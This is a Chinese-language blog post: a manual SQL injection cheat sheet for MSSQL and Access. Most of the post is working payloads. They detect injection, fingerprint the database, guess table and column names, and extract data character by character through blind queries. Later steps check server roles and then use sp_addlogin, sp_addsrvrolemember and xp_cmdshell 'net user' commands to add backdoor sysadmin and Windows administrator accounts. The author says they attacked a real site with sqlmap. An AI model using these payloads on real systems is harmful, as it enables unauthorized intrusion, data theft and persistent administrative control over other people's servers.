1.判断是否有注入
and 1=1
and 1=2
判断注入的方法是一样的
2.初步判断是否是mssql
and user>0
3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
4.注入参数是字符
‘and [查询条件] and ‘‘=‘
5.搜索时没过滤参数的
‘and [查询条件] and ‘%25‘=‘
6.猜数表名
and (select Count(*) from [表名])>0
这个比较蛋疼,总共有3oo多个数据库我手工没有猜出来,有神器sqlmap跑的都显示不完,刚才返回错误,如果填上正确的表名就行了,下面是猜字段,其实和access数据库差不懂,学这个就得会举一反三,这是一些步骤和语句,我给大家自己看吧,主要是这个站比较蛋疼,对了工具的使用会在以后的教程中介绍,学这个要先学会原理,只知道用工具注入也没有什么意思,要学会原理,有自己的思路,然后自己写工具才有成就感
7.猜字段
and (select Count(字段名) from 表名)>0
8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
9.(1)猜字段的ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘serveradmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘setupadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘securityadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘diskadmin‘));--
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin‘));--
and 1=(select IS_MEMBER(‘db_owner‘));--
11.添加mssql和系统的帐户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin username;--
exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
exec master.dbo.xp_cmdshell ‘net user username password /add‘;--
exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add‘;--
本文出自 “redBull” 博客,请务必保留此出处http://7865214.blog.51cto.com/7855214/1663813
原文地址:http://7865214.blog.51cto.com/7855214/1663813